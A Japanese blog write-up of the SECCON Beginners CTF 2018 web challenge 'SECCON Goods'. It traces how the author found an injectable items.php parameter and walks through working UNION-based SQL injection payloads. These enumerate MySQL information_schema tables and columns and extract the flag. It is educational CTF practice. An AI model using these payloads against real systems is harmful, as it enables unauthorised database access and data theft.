SECCON BeginnersCTF 2018 に参加したので wite-upを書いたけど 解けなかった問題が多かったしコンテスト環境しばらく残していただけるそうなので、後追いでやってみる。(ほぼ大会中の話だったりする)
write-upはこちら kusuwada.hatenablog.com
[Web] SECCON Goods
途中までwrite-up。試行錯誤の記録。
問題
SECCON ショップへようこそ!在庫情報はこちらをご覧ください。 http://goods.chall.beginners.seccon.jp
これだけ。そういえば今回は、タイトルと解き方が全くリンクしていない(ヒントになっていない)ものが多かったなぁ。
まずはアクセスしてみる。
SECCON Goods SECCON グッズたちの在庫情報です。 SECCON には在庫限りのグッズがたくさんあります。在庫一覧を用意しましたので、ぜひ各地で開催される SECCON Beginners はじめ SECCON 関連イベントでお買い求めください!
こないだSECCON2017決勝大会会場でグッズ買ったよ!(関係無)
ページの情報からはFlagに繋がりそうになかったので、ソースを見てみる。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>SECCON Goods</title> <link rel="stylesheet" href="css/style.css" charset="utf-8"> <link rel="stylesheet" href="css/bootstrap.min.css" charset="utf-8"> <script src="js/bootstrap.min.js"></script> <script src="js/vue.min.js"></script> <script src="js/axios.min.js"></script> </head> <body> <header> <div class="navbar navbar-dark bg-dark"> <div class="container d-flex justify-content-between"> <a href="#" class="navbar-brand">SECCON Goods</a> </div> </div> </header> <main role="main"> <div class="container"> <div class="row"> <div class="col-12" id="view_root"> <div class="jumbotron"> <h1 class="display-4">SECCON Goods</h1> <p class="lead">SECCON グッズたちの在庫情報です。</p> <hr class="my-4"> <p>SECCON には在庫限りのグッズがたくさんあります。在庫一覧を用意しましたので、ぜひ各地で開催される SECCON Beginners はじめ SECCON 関連イベントでお買い求めください!</p> </div> <table> <thead> <tr> <th v-for="column in columns"> {{ column }}</th> </tr> </thead> <tbody> <tr v-for="item in items"> <td> {{ item.name }} </td> <td> {{ item.description }} </td> <td> {{ item.price }} </td> <td> {{ item.stock }} </td> </tr> </tbody> </table> </div> </div> </div> </main> <script src="js/init.js"></script> </body> </html>
中で在庫表を作成するのに使われている js/init.js
を http://goods.chall.beginners.seccon.jp/js/init.js
にアクセスして確認。
js/init.js
vm = new Vue({ el: '#view_root', data: { columns: {name:"商品名", description:"説明", price:"価格", stock:"在庫"}, items: [{name: "Now loading", description: "Now loading", price: "0 YEN", stock: "0"}], }, mounted(){ axios.get('/items.php?minstock=0') .then(function (response) { console.log(vm.$data); vm.$data.items = response.data; }) .catch(function (error) { console.log(error); }); } })
更に、このコードの真ん中あたりで在庫情報をとってくるのに使われている /items.php?minstock=0
や items.php
にアクセスしてみると、こんなレスポンスが。
[ { "id": "1", "name": "Tシャツ", "description": "S サイズ", "price": "2000", "stock": "8" }, { "id": "2", "name": "Tシャツ", "description": "M サイズ", "price": "2000", "stock": "3" }, { "id": "3", "name": "Tシャツ", "description": "L サイズ", "price": "2000", "stock": "7" }, { "id": "4", "name": "Tシャツ", "description": "XL サイズ", "price": "2000", "stock": "4" }, { "id": "5", "name": "パーカー", "description": "S サイズ", "price": "5000", "stock": "7" }, { "id": "6", "name": "パーカー", "description": "M サイズ", "price": "5000", "stock": "5" }, { "id": "7", "name": "パーカー", "description": "L サイズ", "price": "5000", "stock": "3" }, { "id": "8", "name": "パーカー", "description": "XL サイズ", "price": "5000", "stock": "2" } ]
ここまで辿れるからには、きっとこの在庫を管理しているDBに対してクエリをかけるあたりになんかしら仕込むに違いない。(ぴーん!)
ということで、このurlの最後のクエリ部分をいじることでSQLインジェクションが出来ないか試してみる。
可能性としては
- items のリストが実はこれだけじゃなくて flag レコード的な隠しレコードが存在する
- 表示されている列だけではなく、flagに関係する列がある
- 別テーブルに flag が隠されている
くらいかな。
まずはこんなクエリを投げてみる
http://goods.chall.beginners.seccon.jp/items.php?minstock=0 and 1=2
中でクエリ部分の処理が、request urlのquery(すなわち minstock=0 and 1=2
)をそのままDBのクエリに使用しているならば、例えば
SELECT * FROM itmes WHRER minstock=0 AND 1=2
みたいなクエリが流れて、 1=2
は常にfalseなのでレコードが取得できなくなるはず。
[]
実際、空のリストが返ってきた。ということは、やはりqueryパラメータで指定した条件式をそのままDBのクエリに使用しているっぽい。
※実際は、解釈できないクエリ文や不正なクエリ文がきたら空を返すようにしている可能性はある。が、以降を試すうちにやはりDBのクエリに直接利用されていることがわかる。
次に試すのは、
minstock=0 or 1=1
※以下リクエストurlは、pathを省略してクエリ文のみ記載
もし minstock=0
の他にも予め条件式が設定されていて 1. のようなケースで flag レコードだけ表示されていなかったなら、このクエリで flag レコードもゲットできるはず!
[ { "id": "1", "name": "Tシャツ", "description": "S サイズ", "price": "2000", "stock": "8" }, { "id": "2", "name": "Tシャツ", "description": "M サイズ", "price": "2000", "stock": "3" }, { "id": "3", "name": "Tシャツ", "description": "L サイズ", "price": "2000", "stock": "7" }, { "id": "4", "name": "Tシャツ", "description": "XL サイズ", "price": "2000", "stock": "4" }, { "id": "5", "name": "パーカー", "description": "S サイズ", "price": "5000", "stock": "7" }, { "id": "6", "name": "パーカー", "description": "M サイズ", "price": "5000", "stock": "5" }, { "id": "7", "name": "パーカー", "description": "L サイズ", "price": "5000", "stock": "3" }, { "id": "8", "name": "パーカー", "description": "XL サイズ", "price": "5000", "stock": "2" } ]
最初と同じ結果が得られた。どうやらtopページに現れていたレコードが全てらしい。1 のパターンではないようだ。
2 のパターンはちょっと思いつかなかったので実施せず。
schema情報を取得してみる@後追いパートを使えば確認できる。
3 のパターンを疑って、union 系のクエリも試してみる。
minstock=0 union all select * from items
今度は返却アイテムが倍になって(同じのが2個ずつ)返ってきた。在庫リストのtable名はあてずっぽうだったが items
であっているらしい。
※かさばるので未整形
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"2","name":"T\u30b7\u30e3\u30c4","description":"M \u30b5\u30a4\u30ba","price":"2000","stock":"3"},{"id":"3","name":"T\u30b7\u30e3\u30c4","description":"L \u30b5\u30a4\u30ba","price":"2000","stock":"7"},{"id":"4","name":"T\u30b7\u30e3\u30c4","description":"XL \u30b5\u30a4\u30ba","price":"2000","stock":"4"},{"id":"5","name":"\u30d1\u30fc\u30ab\u30fc","description":"S \u30b5\u30a4\u30ba","price":"5000","stock":"7"},{"id":"6","name":"\u30d1\u30fc\u30ab\u30fc","description":"M \u30b5\u30a4\u30ba","price":"5000","stock":"5"},{"id":"7","name":"\u30d1\u30fc\u30ab\u30fc","description":"L \u30b5\u30a4\u30ba","price":"5000","stock":"3"},{"id":"8","name":"\u30d1\u30fc\u30ab\u30fc","description":"XL \u30b5\u30a4\u30ba","price":"5000","stock":"2"},{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"2","name":"T\u30b7\u30e3\u30c4","description":"M \u30b5\u30a4\u30ba","price":"2000","stock":"3"},{"id":"3","name":"T\u30b7\u30e3\u30c4","description":"L \u30b5\u30a4\u30ba","price":"2000","stock":"7"},{"id":"4","name":"T\u30b7\u30e3\u30c4","description":"XL \u30b5\u30a4\u30ba","price":"2000","stock":"4"},{"id":"5","name":"\u30d1\u30fc\u30ab\u30fc","description":"S \u30b5\u30a4\u30ba","price":"5000","stock":"7"},{"id":"6","name":"\u30d1\u30fc\u30ab\u30fc","description":"M \u30b5\u30a4\u30ba","price":"5000","stock":"5"},{"id":"7","name":"\u30d1\u30fc\u30ab\u30fc","description":"L \u30b5\u30a4\u30ba","price":"5000","stock":"3"},{"id":"8","name":"\u30d1\u30fc\u30ab\u30fc","description":"XL \u30b5\u30a4\u30ba","price":"5000","stock":"2"}]
では flag 用のtableがあると想定するとどうだろうか。
minstock=0 union all select * from flag
もしくは
minstock=0 union all select * from flags
[]
あれ、からのリストが返ってきた。flag
や flags
テーブルがあるわけじゃないのか。
ここで競技は時間切れ。
後追いで他の方のwrite-up記事見たり調べたりしてわかったこと
<構造が異なる表を連結>
SELECT 表1の列名のリスト FROM 表名1 UNION SELECT 表2の列名のリスト FROM 表名2 UNION ...;
(例)
SELECT 商品コード, 単価 FROM 新商品
UNION
SELECT 商品コード, 単価 FROM 売上明細;・2つ目以降のSELECT句の列数と各列のデータ型は、1つ目のSELECT句にそろえます。
あ、もしflag table があったとしても、列数やデータ型を揃えないと union 出来ないのか。そりゃそうだ。SQLの基本中の基本でした。
ここまで勘でやってきた「どんなtableがあるのか」と「各tableのSchema」は?をどうやって見つけるかも含めて復習。
まず「どんなtableがあるのか」については、MySQLの場合だと information_schema.tables
というのが使えるらしい。
これを使ってtable情報を取得してみる。
minstock=0 union all select table_name,2,3,4,5 FROM information_schema.tables
[ { "・・・":"最初は在庫情報なので省略" }, { "id": "CHARACTER_SETS", "name": "2", "description": "3", "price": "4", "stock": "5" }, { "id": "COLLATIONS", "name": "2", "description": "3", "price": "4", "stock": "5" }, { "・・・": "中略" }, { "id": "flag", "name": "2", "description": "3", "price": "4", "stock": "5" }, { "id": "items", "name": "2", "description": "3", "price": "4", "stock": "5" } ]
おお、 items
と flag
tableがあるある。
さらに、それぞれの Schema を確認する。
こちらも、MySQLの場合だと information_schema.columns
というのが使えるらしい。 show_column
とほぼ同義だとか。
minstock=0 union all select column_name,2,3,4,5 from information_schema.columns where table_name='flag'
[ { "・・・":"最初は在庫情報なので省略" }, { "id": "flag", "name": "2", "description": "3", "price": "4", "stock": "5" } ]
flagという列のみ存在するらしい。
ここまでわかったので、あとは flag table から flag 列の情報を抜いてくるクエリをかける。
minstock=0 union all select flag,2,3,4,5 from flag
[ { "・・・":"最初は在庫情報なので省略" }, { "id": "ctf4b{cl4551c4l_5ql_1nj3c710n}", "name": "2", "description": "3", "price": "4", "stock": "5" } ]